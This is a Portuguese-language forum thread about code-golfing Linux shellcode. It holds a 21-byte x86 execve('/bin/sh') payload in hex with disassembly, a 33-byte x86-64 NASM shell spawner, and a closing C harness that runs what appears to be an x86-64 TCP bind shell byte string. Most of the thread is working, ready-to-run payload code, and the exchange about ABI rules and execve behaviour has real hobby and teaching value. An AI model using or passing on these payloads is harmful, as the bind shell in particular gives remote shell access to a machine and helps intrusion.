Ir para conteúdo

Menor shellcode execve("/bin/sh") x86?


geyslan

Posts Recomendados

Olá pessoal,

Estive vendo os vídeos do canal, que por sinal são muito bons, e a saudade bateu. E ao reler umas coisas que criei me deparei com meu xodó (ego on) de 21 bytes.

"\x31\xC9\xF7\xE1\xB0\x0B\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80"

31 c9			xor    ecx,ecx
f7 e1			mul    ecx
b0 0b			mov    al,0xb
51				push   ecx
68 2f 2f 73 68	push   0x68732f2f
68 2f 62 69 6e	push   0x6e69622f
89 e3			mov    ebx,esp
cd 80			int    0x80

 

O que ele faz? Chama a syscall execve("/bin//sh", NULL, NULL) mas antes disso trata todos os registers para evitar erro em qualquer ambiente, ou seja, retira o garbage deles.

Para garantir isso eu até sujo os registers antes de chamar o shellcode.

	__asm__ ("movl $0xffffffff, %eax\n\t"
		 "movl %eax, %ebx\n\t"
		 "movl %eax, %ecx\n\t"
		 "movl %eax, %edx\n\t"
		 "movl %eax, %esi\n\t"
		 "movl %eax, %edi\n\t"
		 "movl %eax, %ebp\n\t"

		 // Calling the shellcode
		 "call shellcode");

 

Vim trocando ideia com um amigo que brinca com reverse também e até o momento a gente não conseguiu reduzir nem que seja um byte desse shellcode. Já tentei usando a abordagem do cdq, mas em vão; acaba sempre nos 21 bytes.

xor eax, eax
cdq

 

Então, gostaria de lançar o desafio aos membros do fórum! Será que conseguimos reduzir ele, nem que seja apenas 1 byte, mantendo as propriedades de funcionamento?

Valeu! ?

P.S.: Para ter uma ideia da abordagem que segui quando enxuguei ele até os 21 bytes ver http://hackingbits.github.io/blog/o-menor-do-mundo-yeah-so-beat-bits/

Editado por geyslan
  • l33t 1
Link para o comentário
Compartilhar em outros sites

  • 3 anos depois...

Uma abordagem interessante, mas há alguns "erros"...

O primeiro é que a syscall execve() espera que o segundo argumento seja a lista argv incluindo argv[0]... Passar NULL para args pode funcionar, mas está fora do padrão.

Segundo, no modo x86-64 esse macete dos dois pushes com literais não funcionará... E note que você está empurrando "\bin\\sh" (com essas duas barras no meio", quando poderia empurrar "\bin\sh\0" (8 bytes), embora esteja empurrando um zero antes para garantir o fim da string. No caso, se tentar fazer:

  push `\sh\0`
  push `/bin`

 
No modo x86 isso gerará a string, na pilha: "\bin",0,0,0,0,"\sh\0",0,0,0,0. PUSH com um imediato de 64 bits não existe na ISA.

Terceiro, execve() pode falhar... dependendo de como a chamada será feita, o programa crasha (aliás, você não quis dizer jmp shellcode ao invés de um call, acima? Se execve() falhar seu processo provavelmente crasha (não tem um ret)...).

O meu desafio para vocês é fazer um código executável menor que esses 33 bytes (de código, não de imagem binária) para o modo x86-64:

; test.asm (NASM)
;
;   nasm -felf64 -o test.o test.asm
;   ld -s -o test test.o
;
  bits  64
  default rel   ; Usando endereços relativos ao RIP.
                ; código fica "position independent".
                ; ESSE é o default da SysV ABI.

  global _start
_start:
  lea   rdi,[sh]         ; Calculo do endereço efetivo para deixar
                         ; o código "PIC" (ou PIE).
                         ; PUSH sh/POP rdi usa 1 byte a menos, mas
                         ; perderíamos o PIC/PIE.

  xor   edx,edx          ; envp = NULL;
  push  rdx              ; argv[1] = NULL;
  push  rdi              ; argv[0] = "/bin/sh";

  ; mov rsi,rsp
  push  rsp
  pop   rsi              ; rsi = &argv.

  ; sys_execve espera, como argumentos:
  ;   int execve( const char *path, char **argv, char **envp );
  ; Por padrão argv[0] deve ser o mesmo ponteiro path.

  ; mov eax,59
  push  byte 59          ; mov eax,sys_execve (5 bytes) - push/pop (2 bytes)
  pop   rax

  syscall

  ; SE execve falhar, sai do processo
  mov   edi,eax

  ; mov eax,60
  push  byte 60          ; mov eax,sys_exit
  pop   rax              ;

  syscall
sh:
  db    `/bin/sh\0`

[]s
Fred

Editado por fredericopissarra
Link para o comentário
Compartilhar em outros sites

Olá, Fred, beleza?

Vamos analisar com foco no tema principal da pesquisa: shellcodes reduzidos que mantêm o comportamento no ambiente Linux.

Quote

Uma abordagem interessante, mas há alguns "erros"...

O primeiro é que a syscall execve() espera que o segundo argumento seja a lista argv incluindo argv[0]... Passar NULL para args pode funcionar, mas está fora do padrão.


Nas referências do artigo temos:

https://man7.org/linux/man-pages/man2/execve.2.html

       On Linux, argv and envp can be specified as NULL.  In both cases,
       this has the same effect as specifying the argument as a pointer
       to a list containing a single null pointer.  Do not take
       advantage of this nonstandard and nonportable misfeature!
  On
       many other UNIX systems, specifying argv as NULL will result in
       an error (EFAULT).  Some other UNIX systems treat the envp==NULL
       case the same as Linux.

https://git.kernel.org/pub/scm/docs/man-pages/man-pages.git/commit/man2/execve.2?id=456960740c5b50c3a6a1c9539fd4d8851e2eb885

Add text noting that Linux allows 'argv' and 'envp' to be NULL, but warning that this is non-standard and non-portable, and should be avoided in portable programs. Bug filed (http://bugzilla.kernel.org/show_bug.cgi?id=8408) to get this changed, but maybe that won't be done because it is an ABI change.

Por razões históricas o Linux Kernel não trata argv e envp nulos como erro, em ambos os casos trata-os como um ponteiros para uma lista contendo um null pointer. Contudo, o manual da syscall adverte para não os usar dessa forma por questões de compatibilidade.

Tais fatos não transformam o uso funcional do execve com argv e envp NULL um erro, apenas não recomendados para ambientes de produção em geral. Lembremos mais uma vez: a pesquisa não se preocupa com ambiente de produção, ela é focada em estudo de cybersecurity com o tema shellcodes (exploração de binário).
 

Quote

Segundo, no modo x86-64 esse macete dos dois pushes com literais não funcionará...

 

Aqui também não se trata de um erro pois a análise se encontra no item 3.1. execve x86. A análise de redução na arquitetura 64 bits está localizada em 3.2. TCP bind shell x86-64.

 

Quote

Terceiro, execve() pode falhar... dependendo de como a chamada será feita, o programa crasha (aliás, você não quis dizer jmp shellcode ao invés de um call, acima? Se execve() falhar seu processo provavelmente crasha (não tem um ret)...).

Em verdade, qualquer chamada a execve() pode falhar a depender de como ela é construída. Não considero isso um erro, uma vez que a chamada dos shellcodes foram explicitamente construídas.

Sobre o jmp e/ou call, não sei a que shellcode se refere. Poderia referenciar?

 

Valeu pela análise e atenção.

Link para o comentário
Compartilhar em outros sites

1 hora atrás, geyslan disse:

Em verdade, qualquer chamada a execve() pode falhar a depender de como ela é construída. Não considero isso um erro, uma vez que a chamada dos shellcodes foram explicitamente construídas.

Sobre o jmp e/ou call, não sei a que shellcode se refere. Poderia referenciar?

A essa aqui, no seu texto:

; "\x31\xC9\xF7\xE1\xB0\x0B\x51\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\xCD\x80"

31 c9           xor    ecx,ecx
f7 e1           mul    ecx
b0 0b           mov    al,0xb
51              push   ecx
68 2f 2f 73 68  push   0x68732f2f
68 2f 62 69 6e  push   0x6e69622f
89 e3           mov    ebx,esp
cd 80           int    0x80

Obviamente isso assume que `execve` não falhará (cadê o `ret` depois do `int 0x80`?) e você dá um exemplo de uso:

  __asm__ ("movl $0xffffffff, %eax\n\t"
     "movl %eax, %ebx\n\t"
     "movl %eax, %ecx\n\t"
     "movl %eax, %edx\n\t"
     "movl %eax, %esi\n\t"
     "movl %eax, %edi\n\t"
     "movl %eax, %ebp\n\t"

     // Calling the shellcode
     "call shellcode");

É desse call que estou falando... E há outro aspecto a ser considerado... Na SysV ABI, EBX (ou RBX no modo x86-64) tem que ser preservado entre chamadas... Esse mov ebx,esp altera EBX sem preservá-lo, o que levará (possivelmente, se execve falhar e se tivéssemos um ret ali no final) o código chamador a se comportar de forma errática... Seu shellcode deveria preservar EBX.

Editado por fredericopissarra
Link para o comentário
Compartilhar em outros sites

Ahh, pensei que estava falando sobre o artigo.

Sobre o código da thread original, essa forma de chamar aí não funciona nos ambientes atuais. Funcionava por volta da época que criei o exemplo. Mas o kernel mudou, o gcc mudou etc.

Já trocamos ideia sobre isso no Discord, não se recorda? Tanto da forma de chamar o shellcode como da indiferença acerca do retornar dele. Ida sem volta. Vai ou racha. Pei, bufe. ?

Não encontrei suas mensagens no Discord, acho que foram excluídas, mas o bate papo iniciou em 2021 aqui: https://discord.com/channels/395582581124497408/704353852098609269/800000266333061120

E este seria um código de chamada funcional para hoje (não rodem sem antes ver que bytecodes code contém):

int main(void)
{
    const char code[] =
 
        "\x6a\x29\x58\x99\x52\x5e\xff\xc6\x6a\x02"
        "\x5f\x0f\x05\x52\x5e\x97\xb0\x32\x0f\x05"
        "\xb0\x2b\x0f\x05\x57\x5e\x97\xff\xce\xb0"
        "\x21\x0f\x05\x75\xf8\x52\x48\xbf\x2f\x2f"
        "\x62\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0"
        "\x3b\x0f\x05";
 
    // When contains null bytes, printf will show a wrong shellcode length.
    printf("Shellcode Length:  %ld\n", strlen(code));
 
    // Pollutes all registers ensuring that the shellcode runs in any
    // circumstance.
    __asm__("lea %[code], %%r15\n\t"
        "mov $0xffffffffffffffff, %%rax\n\t"
        "mov %%rax, %%rbx\n\t"
        "mov %%rax, %%rcx\n\t"
        "mov %%rax, %%rdx\n\t"
        "mov %%rax, %%rsi\n\t"
        "mov %%rax, %%rdi\n\t"
        "mov %%rax, %%rbp\n\t"
        "call *%%r15\n\t"
        : /* no outputs */
        : [code] "m"(code));
}

 

Valeu!

Link para o comentário
Compartilhar em outros sites

Participe da conversa

Você pode postar agora e se cadastrar mais tarde. Se você tem uma conta, faça o login para postar com sua conta.

Visitante
Responder

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emojis são permitidos.

×   Seu link foi automaticamente incorporado.   Mostrar como link

×   Seu conteúdo anterior foi restaurado.   Limpar o editor

×   Não é possível colar imagens diretamente. Carregar ou inserir imagens do URL.

  • Quem Está Navegando   0 membros estão online

    • Nenhum usuário registrado visualizando esta página.
×
×
  • Criar Novo...